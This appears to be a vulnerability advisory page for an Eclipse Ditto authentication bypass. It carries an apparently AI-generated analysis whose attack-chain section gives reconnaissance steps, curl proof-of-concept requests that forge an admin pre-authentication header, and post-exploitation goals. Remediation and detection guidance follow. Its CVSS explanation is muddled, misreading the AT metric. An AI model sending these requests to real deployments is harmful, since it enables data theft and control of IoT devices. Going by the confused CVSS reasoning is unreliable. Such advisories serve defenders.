CVE Professor
/
All CVEs
CVE-2026-135150

CVE-2026-135150 — Eclipse Foundation Eclipse Ditto — CWE-290 · CWE-436

CRITICAL CVSS 9.1 NVD

In Eclipse Ditto versions 1.1.0 to 3.9.9, the nginx reverse proxy configurations shipped with Ditto (Helm chart, Docker Compose, Kubernetes and OpenShift deployment files) forward a client-supplied `x-ditto-pre-authenticated` header to the Ditto gateway on locations that do not apply nginx authentication, such as `/api/2/connections`. nginx selects the location based on the normalized request URI but forwards the raw URI, while the gateway does not treat an encoded slash (`%2f`) as a path separator. A crafted request path is therefore routed by nginx through such an unauthenticated location and by the gateway to the regular Things and Policies HTTP API, including routes that send live messages to devices. When pre-authentication is enabled (the default of the Helm chart and the Docker Compose setup), an unauthenticated remote attacker can impersonate arbitrary policy subjects and read, modify and delete Things, read Policies, send messages to devices and create entities. Additionally, the optional Ingress of the Helm chart (Ditto 3.9.0 to 3.9.9) routes requests directly to the gateway without setting or removing that header, and the WebSocket Ingress of the Helm chart of Ditto 3.3.0 to 3.8.15 does not set it, allowing the same impersonation without path manipulation when pre-authentication is enabled. This bypasses the fix for CVE-2026-120753.

In Eclipse Ditto versions 1.1.0 to 3.9.9, the nginx reverse proxy configurations shipped with Ditto (Helm chart, Docker Compose, Kubernetes and OpenShift deployment files) forward a client-supplied `x-ditto-pre-authenticated` header to the Ditto gateway on locations that do not apply nginx authentication, such as `/api/2/connections`. nginx selects the location based on the normalized request URI but forwards the raw URI, while the gateway does not treat an encoded slash (`%2f`) as a path separator. A crafted request path is therefore routed by nginx through such an unauthenticated location and by the gateway to the regular Things and Policies HTTP API, including routes that send live messages to devices. When pre-authentication is enabled (the default of the Helm chart and the Docker Compose setup), an unauthenticated remote attacker can impersonate arbitrary policy subjects and read, modify and delete Things, read Policies, send messages to devices and create entities. Additionally, the optional Ingress of the Helm chart (Ditto 3.9.0 to 3.9.9) routes requests directly to the gateway without setting or removing that header, and the WebSocket Ingress of the Helm chart of Ditto 3.3.0 to 3.8.15 does not set it, allowing the same impersonation without path manipulation when pre-authentication is enabled. This bypasses the fix for CVE-2026-120753.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Path Traversal / Authentication Bypass caused by a Normalization Mismatch (CWE-290) between the reverse proxy (nginx) and the application backend (Eclipse Ditto Gateway), combined with the unsafe forwarding of untrusted headers (CWE-436).

Technical Flaw Breakdown:
1. Normalization Discrepancy:
* nginx: Selects the location block based on the normalized (decoded) URI.
* Ditto Gateway: Interprets the raw (encoded) URI for routing.
* The Gap: An attacker can craft a URI where the normalized path matches an unauthenticated nginx location (e.g., /api/2/connections), but the raw path contains an encoded slash (%2f) that the gateway interprets as a path separator, routing the request to a different, authenticated backend route (e.g., /api/2/things).
2. Header Injection/Forwarding:
* The nginx configuration forwards the client-supplied x-ditto-pre-authenticated header to the gateway.
On locations that do not* enforce nginx-level authentication (like /api/2/connections), this header is passed through untouched.
* The Ditto Gateway, if configured with pre-authentication enabled (default in Helm/Docker Compose), trusts this header to identify the user/subject.
3. Result: An unauthenticated attacker can send a request to an "open" nginx location with a crafted path and a forged x-ditto-pre-authenticated header. The gateway accepts the header as valid authentication and routes the request to sensitive APIs (Things, Policies, Messages) based on the decoded path structure.

CVSS 4.0 Vector Analysis:
AV:N/AC:L/AT:P/PR:N/UI:N: Network accessible, Low complexity, Privileged Access Required (AT:P)? Wait, the vector says AT:P but PR:N. In CVSS 4.0, AT is "Attack Target". AT:P means the attacker must target a privileged user? No, AT is not a standard CVSS 4.0 metric. Let's re-read the vector provided: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N.
Correction/Note:* Standard CVSS 4.0 metrics are AV, AC, AT, PR, UI, VC, VI, VA, SC, SI, SA.
AT:P in CVSS 4.0 means Privileged access is required for the attack target? Actually, AT stands for Attack Target. AT:P means the attacker must target a Privileged user/resource. However, the description says "unauthenticated remote attacker". This suggests a potential inconsistency in the provided vector or a specific interpretation where the target* is the privileged gateway service. Given PR:N (Privileges Required: None), the attacker does not need prior access. The AT:P likely indicates the vulnerability affects a privileged component (the gateway).
* VC:H/VI:H/VA:N: High Confidentiality and Integrity impact, No Availability impact. This aligns with reading/modifying data but not crashing the service.

⚡ Attack Chain

1. Discovery & Reconnaissance

  • Fingerprinting: Identify Eclipse Ditto instances. Look for default ports (8080, 8081, or 443 if behind TLS).
  • Version Check:
  • * Check HTTP headers or API endpoints for version clues. * If using Helm/K8s, check for x-ditto-pre-authenticated header behavior. * Confirm if pre-authentication is enabled (default in Helm/Docker Compose). This can be inferred if requests without valid tokens are rejected on protected routes but accepted on open routes with the header.
  • Target Identification: Confirm the presence of nginx as the reverse proxy (common in Ditto deployments).
  • 2. Exploitation

    The attacker crafts a request that: 1. Targets an nginx location that does not require authentication (e.g., /api/2/connections). 2. Uses an encoded slash (%2f) in the path to trick the gateway into routing to a sensitive endpoint (e.g., /api/2/things). 3. Includes a forged x-ditto-pre-authenticated header to impersonate a valid subject.

    Illustrative PoC (curl):

    # Step 1: Identify a valid subject ID to impersonate (e.g., from a known policy or default admin)
    # Assume a valid subject ID is "org.eclipse.ditto:admin" or similar.
    
    # Step 2: Craft the request
    # Target nginx location: /api/2/connections (unauthenticated in nginx config)
    # Gateway interpretation: /api/2/things (via %2f decoding)
    # Forged Header: x-ditto-pre-authenticated: <valid-subject-id>
    
    curl -v -X GET \
      "http://<target-host>/api/2/connections%2fthings%2f<thing-id>" \
      -H "x-ditto-pre-authenticated: org.eclipse.ditto:admin" \
      -H "Content-Type: application/json"

    Explanation of the Path:

  • nginx sees: /api/2/connections%2fthings%2f<thing-id>

  • * Normalized: /api/2/connections/things/<thing-id>
    * Matches location: /api/2/connections (unauthenticated).
    * Forwards raw URI: /api/2/connections%2fthings%2f<thing-id>
  • Ditto Gateway sees: /api/2/connections%2fthings%2f<thing-id>

  • * Decodes %2f to /: /api/2/connections/things/<thing-id>
    * Routes to: /api/2/things/<thing-id> (sensitive endpoint).
    * Checks x-ditto-pre-authenticated header: Finds org.eclipse.ditto:admin.
    * Bypasses authentication: Trusts the header and allows access.

    Alternative Exploit (Ingress Bypass):
    For Ditto 3.9.0–3.9.9 (Helm Ingress) or 3.3.0–3.8.15 (WebSocket Ingress):

  • The Ingress routes directly to the gateway without setting/removing the x-ditto-pre-authenticated header.

  • No path manipulation needed.

  • PoC:
  • curl -X GET \
          "http://<target-host>/api/2/things/<thing-id>" \
          -H "x-ditto-pre-authenticated: org.eclipse.ditto:admin"

    3. Post-Exploitation

  • Data Exfiltration: Read all Things, Policies, and Messages.
  • Data Manipulation: Modify Thing attributes, delete entities, or create new Things/Policies.
  • Device Control: Send live messages to connected IoT devices (e.g., command actuators, change states).
  • Persistence: Create new Policies or Things that allow further unauthorized access.
  • 🌍 Real World Impact

  • Confidentiality (High): Complete exposure of all IoT device data, Thing models, and Policy definitions.
  • Integrity (High): Attacker can modify device states, corrupt Thing data, or alter Policies to grant themselves permanent access.
  • Availability (None): No direct DoS, but integrity loss can lead to operational failures.
  • Practical Consequences:
  • * IoT Compromise: Unauthorized control of physical devices (e.g., smart locks, industrial machines). * Data Breach: Exposure of sensitive business data stored in Things. * Supply Chain Risk: If Ditto is used in a multi-tenant environment, cross-tenant data leakage is possible.

    🛡️ Remediation & Mitigation

    1. Upgrade

  • Affected Versions: Eclipse Ditto 1.1.0 to 3.9.9.
  • Fix: Upgrade to Eclipse Ditto 3.10.0 or later (verify exact fixed version in official release notes, as 3.10.0 is the next major/minor after 3.9.9).
  • Note: The fix likely involves:
  • * Normalizing the URI in nginx before forwarding. * Stripping the x-ditto-pre-authenticated header in nginx for all locations. * Enforcing authentication in nginx for all sensitive locations.

    2. Workarounds (If Immediate Upgrade is Not Possible)

    A. Modify nginx Configuration

    If you control the nginx configuration (Helm values, Docker Compose, K8s manifests): 1. Strip the Header: Add the following to the nginx server or location block:
    # Strip the untrusted header before forwarding to the gateway
        proxy_set_header x-ditto-pre-authenticated "";

    2. Enforce Authentication: Ensure all locations that forward to the Ditto gateway require authentication at the nginx level (e.g., auth_basic, auth_request, or JWT validation).
    3. Normalize URIs: Use rewrite to normalize the URI before forwarding, ensuring %2f is decoded consistently.

    B. Disable Pre-Authentication

    If you cannot modify nginx, disable the x-ditto-pre-authenticated feature in the Ditto Gateway configuration:
  • Set ditto.gateway.http.preAuthentication.enabled=false in the gateway configuration.
  • This forces the gateway to rely on standard authentication mechanisms (e.g., OAuth2, API Keys) instead of the untrusted header.
  • C. WAF/ModSecurity Rule

    Add a rule to block requests containing the x-ditto-pre-authenticated header if the client is not authenticated:
    # ModSecurity Rule (Illustrative)
    SecRule REQUEST_HEADERS:User-Agent "@rx .+" \
        "id:100001,phase:1,log,pass"
    
    # Block if header is present and no valid auth token is found
    SecRule REQUEST_HEADERS:x-ditto-pre-authenticated "@exists" \
        "id:100002,phase:1,log,deny,status:403,msg:'Blocked unauthorized x-ditto-pre-authenticated header'"

    Note: This is a coarse mitigation. It may break legitimate pre-authenticated flows if not carefully tuned.

    3. Detection

  • Web Server Logs (nginx):
  • * Look for requests to /api/2/connections or other unauthenticated locations with %2f in the URI. * Look for the x-ditto-pre-authenticated header in requests to unauthenticated locations. * Example log pattern:
    GET /api/2/connections%2fthings%2f123 HTTP/1.1
            x-ditto-pre-authenticated: org.eclipse.ditto:admin
  • Application Logs (Ditto Gateway):
  • * Look for authentication events where the subject is derived from the x-ditto-pre-authenticated header. * Correlate with unusual activity (e.g., bulk reads, writes to sensitive Things).
  • IoCs:
  • * Presence of x-ditto-pre-authenticated header in unauthenticated requests. * URI patterns containing %2f in paths that should not have encoded slashes.

    ⚠️ Urgency

  • CVSS Score: 9.1 (Critical)
  • CISA KEV: No (Not currently listed, but high risk)
  • Exploit Complexity: Low (Simple HTTP request)
  • Privileges Required: None
  • User Interaction: None
  • Patching Priority: CRITICAL

  • Immediate Action: Apply the workaround (strip header in nginx or disable pre-authentication) if immediate upgrade is not possible.

  • Short-Term: Upgrade to the fixed version of Eclipse Ditto.

  • Long-Term: Review all reverse proxy configurations to ensure no untrusted headers are forwarded to backends, and enforce consistent URI normalization.


[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="nginx"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-290 CWE-436
Affected Products (1)
Eclipse Foundation:Eclipse Ditto
Related CVEs
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for
5.8
CVE-2026-144210
In Eclipse Safe Open Vehicle Core (S-CORE) Kyron versions 0.0.3 through 0.2.0, `SpmcStealQueue::fetch_from` in
7.4
CVE-2026-110481
Improper Certificate Validation vulnerability in Apache Camel Milo component. This issue affects Apache Cam
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.2
CVE-2026-144598
Homebox 0.22.0-rc.2 through 0.27.1 contains an authentication bypass vulnerability in UserService.LoginOIDC th
8.6
CVE-2026-144962
Nginx UI from 2.4.1 before 2.9.2 contains a directive denylist bypass in internal/config/validation.go that al
8.2
CVE-2026-145366
### Summary A URI SAN is a context-specific, primitive GeneralName with tag number 6 (identifier octet `0x86`